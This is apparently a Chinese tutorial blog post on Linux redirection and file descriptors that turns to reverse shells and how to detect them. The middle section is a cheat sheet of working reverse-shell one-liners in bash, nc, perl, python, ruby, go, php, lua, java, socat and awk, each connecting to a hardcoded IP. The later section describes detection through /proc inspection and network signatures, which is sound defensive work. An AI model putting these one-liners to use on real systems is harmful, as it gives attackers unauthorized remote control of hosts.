重定向指令
linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄,这个数字本质上是一个文件句柄,通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符,分别是:
- 标准输入:standard input 0 (默认设备键盘)
- 标准输出:standard output 1(默认设备显示器)
- 错误输出:error output 2(默认设备显示器)
进程启动后再打开新的文件,描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符,因此所有的shell命令(本质上也是启动新进程),都会默认有三个文件描述符。
Linux一切皆文件,键盘、显示器设备也是文件,因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
重定向分类
重定向主要分为两种
- 输入重定向
- “<”
- “<<”
- 输出重定向
- “>”
- “>>”
bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析。
输入重定向
1 | [n]< word (注意[n]与<之间没有空格) |
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)。
解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。
输出重定向
1 | [n]> word |
说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)。
上述指令将文件描述符1(标准输出)重定向到了指定文件。
标准输出与标准错误输出重定向
下面3种形式完全等价,
1 |
|
2 | > |
3 | > word 2> |
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开)。
解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
文件描述符的复制
1 | [n]<&[m] |
2 | n]>&[m] |
3 | 注意:这里所有字符之间不要有空格 |
- 这两个指令都是将文件描述符 n 复制到 m ,两者的区别是
- [n]<&[m] :以只读的形式打开
- n]>&[m] :以写的形式打开
- 这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
注意,重定向符号的顺序不能随便换,因为系统是从左到右执行。我们来分析上面指令结果出现的原理,
首先解析器解析到 2>&1
解析器再向后解析到 “>”
exec 绑定重定向
1 | exec [n] <> file/[n]:以读写方式打开file指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入 |
2 | exec [n] < file/[n] |
3 | exec [n] > file/[n] |
使用 exec 指令,可以让重定向在接下来的会话中(多条指令)持续有效。
bash反弹shell分类
bash反弹shell
bash -i >& /dev/tcp/10.107.98.24/2345 0>&1
telnet反弹shell
telnet 10.107.98.24 4444 | /bin/bash | telnet 10.107.98.24 5555
管道反弹shell
rm /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.107.98.24 4444 >/tmp/f
脚本反弹shell
perl反弹shell
1 | perl -e 'use Socket;$i="10.107.98.24";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
ruby反弹shell
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’ |
go反弹shell
1 | echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go |
php反弹shell
1 | php –r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’ |
lua反弹shell
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
java反弹shell
1 | r = Runtime.getRuntime() |
2 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) |
3 | p.waitFor() |
python反弹shell
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
nc反弹shell
1 | nc -e /bin/sh 192.168.146.129 2333 |
socat反弹shell
1 | 监听命令 |
2 | socat file:`tty`,raw,echo=0 tcp-listen:9999 |
3 | |
4 | 反弹命令 |
5 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999 |
无bash反弹shell
python版本
1 | python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.107.97.119 ',4444))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" |
perl版本
1 | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.107.97.119:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
shell版本
1 | awk 'BEGIN{s="/inet/tcp/0/10.107.97.119/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' |
shell检测
bash反弹shell检测
检测 file descriptor 是否指向一个socket:
以“重定向符”+"/dev/tcp
网络通信”Bash反弹Shell这一类最经典的反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄
检测 file descriptor 是否指向一个管道符(pipe):
对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄
检测方法
- 通过上一篇文章的某种方法检测内核的进程事件
- 判断是否是bash进程,如果是bash进程则获取父进程的信息
- 获取父进程的
/proc/[pid]/fd
,判断是否有存在fd重定向到pipe或者socket情况 - 如果存在3情况,则告警
绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。例如这篇文章提到的,通过将/bin/sh重命名为其他名字进行反弹shell。
非bash反弹shell检测
Bash只是一个应用程序的普通应用,其内部封装了调用glibc execve的功能而已,除了bash之外,白帽子还可以基于任意的应用层技术来实现反弹shell,例如:
- python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
- python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
- C/C++实现纯代码形式的反弹shell:二进制文件检测
无论怎么实现,这个进程肯定是有网络通信的事件,通过进程和socket事件关联情况,获取网络通信的协议。如果有相应的网络事件,在对进程所对应的文件进行上述情形进行安全检查。
进程和socket事件关联
- 遍历
/proc
,获取所有进程的pid - 通过pid,遍历
/proc/pid/fd
对应的link链接,检查是否存在socket:[]
,存在就获取对应的inode - 获取
/proc/pid/ns
中net的inode - 遍历
/proc/pid/net/
下的icmp/tcp/udp/udplite/raw
的协议 - 比较第四步中的inode信息与第一步的inode信息,一致的就是我们需要获取的数据。
网络层检测
dns&icmp反弹shell
本质上说,dns和icmp是一种网络通信方式,使用任何语言都可以借助这两种网络通信方式进行反弹shell交互。
但是我们知道,dns和icmp和tcp/udp不一样,它们都不是直连的网络信道,而是需要通过一个第三方进行消息中转。
dns(udp直连模式)
- control server将指令封装成dns包格式,通过udp53直接发送给client
- victim client从udp53接收到dns包后进行解析,从中提取并解码得到指令,并将执行结果封装成dns包格式,通过udp53返回给server
dns(authoritative DNS server转发模式)
- victim client配置好dns resolve(domain nameserver),之后将所有的执行结果和指令请求都以正常dns query的形式发送给local DNS server,随后通过dns递归查询最终会发送到攻击者控制的domain nameserver上
- control server从dns query中过滤出反弹shell相关的会话通信,并按照dns response的形式返回主控指令。
icmp
参考https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1
检测方法
这个是NIDS范畴的内容了,主要思想是根据特征码进行检测。
反弹shell的通信会话中,会包含一些cmdline shell特征
,例如#root....
等,可以在网络侧进行NTA实时检测。
参考:
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html
https://www.cnblogs.com/LittleHann/p/12038070.html#_lab2_3_5